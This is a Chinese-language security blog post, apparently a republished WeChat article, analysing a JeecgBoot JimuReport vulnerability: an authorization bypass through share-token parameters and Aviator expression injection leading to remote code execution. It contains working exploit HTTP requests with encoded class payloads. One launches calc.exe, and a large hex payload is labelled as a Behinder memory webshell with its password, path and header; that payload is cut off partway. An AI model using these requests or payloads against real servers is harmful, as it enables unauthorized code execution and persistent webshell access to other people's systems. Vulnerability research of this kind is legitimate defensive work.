原创投稿,作者:white-beer,该漏洞是去年HW期间爆出的0day。
积木报表RCE_0day 此接口为积木报表组件自带接口,该接口正常访问会提示没有权限,利用jmLink=YWFhfHxiYmI=可以绕过权限校验。在绕过权限校验后,可在请求体中注入内存马,以获取服务器权限。漏洞路径 /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYm

其实就是截取当前contextpath(jeecg-boot)后的路径,那么也就是/jmreport/save
后续进行xss攻击判断、customPrePath(为空)、路径中是否含有/jmrepory/shareview/若是有直接通过该interceptor。
token校验绕过
修复方案也很简单,在cache处进行异常处理。
此处只要传入的previousPage不为空即可(为空则会报错“Token校验失败,无权限访问!”),接着跟那么接下里就只需要让 this.jimuReportShareService.isShareingToken(var4, request)返回为true即可。
jmLink或sharetoken或JmReport-Share-Token Header引发的权限绕过
分离的数组第一个不为空,就进入else,否则就GG。接下来他会去数据库里面用这个值去取 JimuReportShare数据库的值。如果这个值不是数据库中存在的则v10为空。且我们访问的路径不以/jmreport/view开头,就跳过了后续的if。返回为true了。就达到权限绕过的目的了。同理上述分析思路除jmLink参数外,header:JmReport-Share-Token和请求中的sharetoken均可进行权限绕过(数据库中不存在的值即可)。
jmLink:
shareToken:
JmReport-Share-Token:
权限绕过插曲
并且通过控制台报错分析其为空指针异常,怀疑是token为空时导致
通过分析将定点打在此处,跟入后会发现其会获取传入的token,当token为空或token不符合指定格式时均返回为空。
接着跟getUsername方法,最后会发现其会调用split方法以"."字符进行分隔,而java.lang.String#split方法是无法为空的。因此会抛出空指针异常,那么其实不为空就好了。
验证通过
Freemaker模板注入poc无法使用原因分析
因为根据情报说能打内存马,首先想到的就是模板注入打内存马,通过之前打内存马的分析执行点在FreeMarkerUtils#a方法中,那么就在其中先打个断点。
那么分析一下之前的poc打不了的原因是啥,跟到之前的触发函数。先执行this._eval方法
这里其实是在尝试实例化我们传入的命令执行的目标类。接着跟会跟到 ConstructorFunction方法
这里在利用反射调用恶意类,那么就去看看他是咋处理的吧
可以看到这里已经将执行命令的恶意类拉到黑名单了,除非有其他类去执行命令进行绕过。因此基本不考虑freemarker的模板注入了。
那么接下来就是找到他是如何渲染这些字段的。这个功能对应的是show这个接口。
其会通过id获取数据库中的数据(包括由save接口保存的json_str)。其ExpressUtil.a方法处理获取的json_str中的字符串。
ExpressUtil.a方法跟a类的构造函数。获取其中的rows和styles参数。跟其a方法。
this.e这个map不为空即可,接着跟其a方法。
在该方法最后看到ExpressUtil#a方法,其中会调用exec方法进行表达式解析。该exec方法为com.googlecode.aviator.Expression#exec方法。
查看该依赖的版本发现存在模板注入漏洞。漏洞信息看这个文章:
https://www.ctfiot.com/104155.html
跟进去后看到最终进行恶意代码执行的函数
在此处打个断点,这里我是用一个正常的模板去debug发现不会触发ExpressUtil#a的断点。发现在a方法中this.e为null因此不会进入对应方法中。
通过代码分析this.e会在this.c方法中进行赋值,那么接下来就解析一下这段代码。首先这段代码会挨个筛选出rows包含的json内容中存在cells的json字段。例如这一段:
通过后续的代码分析发现其获取cells中的text,下面的正则表达式用于匹配一种特定格式的字符串,该字符串以可选的任意非等号字符开始,紧接着是一个等号、一个可选的标识符(可能包含字母、数字、下划线和点)和圆括号内的任意内容,然后是可选的一个或多个算术运算符后跟数字的序列,最后是字符串的剩余部分。由于我们要找到this.e的赋值不在该if内就不细看了。
后续代码就是text以=开头的,会将相关数据放入this.e中。因此我们text中的值要以=开头,this.e才不为空。
ExpressUtil.a方法的作用就是将text中=和第一个(符号之间的字符串转换为小写、将其中的=替换为空。最后插入b对象的this.b(expression)中,此处就是恶意代码存放的位置。
那么其实思路就清晰了,只要我们传入的恶意表达式放在这种格式的text中且以=开头就好了。
后面就简单了,抓个正常/save接口的数据包,将恶意代码以指定格式贴进去即可。
再通过show接口去触发,此时发现已经text后的内容不见了,说明模板中的恶意代码已经被执行了。
除了/show,/view接口外,exportAllExcel接口也可触发该漏洞,但是原理都是通过show接口去触发的,这里就不赘述了。
POC
POST /jeecg-boot/jmreport/save?previousPage=xxx HTTP/1.1
Host: host:port
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.3
Accept: application/json, text/plain, */*
JmReport-Share-Token: 123456
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.2:8080/jeecg-boot/jmreport/index/979183544136601600?menuType=datainfo&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjI4Njg5NDksInVzZXJuYW1lIjoiYWRtaW4ifQ.L5k4aOiNZumYP_bB1LgHTfPePFV4avQ1a_9OUK4W8iE
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
Content-Length: 1685
Origin: http://172.20.10.2:8080
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="69", "Chromium";v="69", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
{"designerObj":{"id":"980296266425913344","name":"test","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$5dP$cbN$c2$40$U$3d$D$a5$c5Z$FD$7c$r$s$ea$c6$c2$c2n$dca$dc$YLL$88$Y$n$eeK$bd$nC$da$vi$H$82$7f$a5$h5$$$fc$A$3f$cax$db$u$Q$t$99$fb89$e7$be$be$be$3f$3e$B$9c$e3$c0F$JU$h5le$a6na$dbBC$c0$bc$90J$eaK$81$a2$db$7c$Q0$ae$e2G$S$a8t$a5$a2$dbi4$a4d$e0$PCF$M$9aS$mp$eav$c7$fe$cc$f7B_$8d$bc$beN$a4$g$b5$9b$x$d0$5d$S$H$94$a6m$B$bb3$Ph$a2e$acR$L$3b$9c$f7$e3i$S$d0$b5$cc$aam$M$u$d5$9d$99$M$cf2$a9$D$T$96$85$5d$H$7b$d8w$60c$5d$e0$q$88$p$8f$e6$7e4$J$c9$8b$u$8a$93$t$c9$b1$af$b4$f7$a7$V$a8$$$h$f7$86c$K$b4$40$3d$87d$ec$dd$f4$W$D$I$d4$96$c4$fb$a9$d22$e2$Z$ec$R$e9E$d2pW$b7$f8$85$db8$86$c1g$cb$5e$B$o$9b$92m$99$b3C$f6$82$7d$a9$f5$G$f1$c2$81$c0$g$5b3$H$N$8ey$H$96d$d4$a3$5c$K$94$dfQh$bd$a2$f8$fc$8fm$c2$c95$7c$U$fe$9by$ab$ca$P$o$ZcR$b7$B$A$A",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()))+(c.exec("calc.exe"));"}}},"len":100},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":false,"dataRectWidth":0,"excel_config_id":"980296266425913344","pyGroupEngine":false,"querySetting":{"izOpenQueryBar":false,"izDefaultQuery":true}}
JDK高版本POC
aviator语法:
https://zhuanlan.zhihu.com/p/654687667
=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass("test", Base64Utils.decodeFromString("yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA=="), ClassLoader.getSystemClassLoader()))
Behinder
密码: password
请求路径: /showme
请求头: Referer: Fvjxgwzbm
POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.3
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.2:8080/jeecg-boot/jmreport/index/979183544136601600?menuType=datainfo&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjI4Njg5NDksInVzZXJuYW1lIjoiYWRtaW4ifQ.L5k4aOiNZumYP_bB1LgHTfPePFV4avQ1a_9OUK4W8iE
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
Content-Length: 18538
Origin: http://172.20.10.2:8080
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="69", "Chromium";v="69", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
{"designerObj":{"id":"6666666","name":"test","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=(use org.springframework.cglib.core.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass("org.apache.logging.l.KeyUtils", Hex.decodeHex("cafebabe0000003401240a005a008d08008e08008f0700900800910a000400920a009300940a009300950800960a002500970800980a0059009908009a08009b08009c08009d08009e07009f0800a00700a10a005900a20700a30800a40a001200a50800a60a005900a70700a80a001b00a90b00aa00ab0800ac0a001400ad0a001200ae0a005900af0a005900b00a005900b10a005900b20700b30800b40700b50900b600b70a001200b80a00b900ba0a00b600bb0a00b900bc0700bd0800be0800bf0800c00700c10a003100c20800c30a001200c40800c50a001200c60800c70800c80800c90700ca0a003a008d0700cb0a003c00cc0700cd0a003e00ce0a003e00cf0a003a00d00a003a00d10a005900d20a00d300d40a00d300ba0a00d300d50a001200d60700d70a001200d80a004800920a001200d90a00b900da0a000400db0a00b900dc0700dd0a004f00920700de0700df0a005100e00a005200920a005900e10a005900e20a005900e30a005200e40700e50700e60100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c6501000d67657455726c5061747465726e01001428294c6a6176612f6c616e672f537472696e673b01000c676574436c6173734e616d6501000f676574426173653634537472696e6701000a457863657074696f6e730700e70100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560700e80100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a676574436f6e7465787401001428294c6a6176612f6c616e672f4f626a6563743b01000d537461636b4d61705461626c650700b30700a10700a30700e90700ea01000e676574496e746572636570746f720700bd01000e616464496e746572636570746f72010027284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b295601000c6465636f6465426173653634010016284c6a6176612f6c616e672f537472696e673b295b4201000e677a69704465636f6d7072657373010006285b42295b420700ca0700cb0700cd0100057365744656010039284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100056765744656010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f4f626a6563743b0100046765744601003f284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b07009f0700d701000c696e766f6b654d6574686f6401005d284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0700eb0700ec0700dd0700de0100083c636c696e69743e01000a536f7572636546696c6501000d4b65795574696c732e6a6176610c005b005c01
原文始发于微信公众号(李白你好):jeecg-boot-0day分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论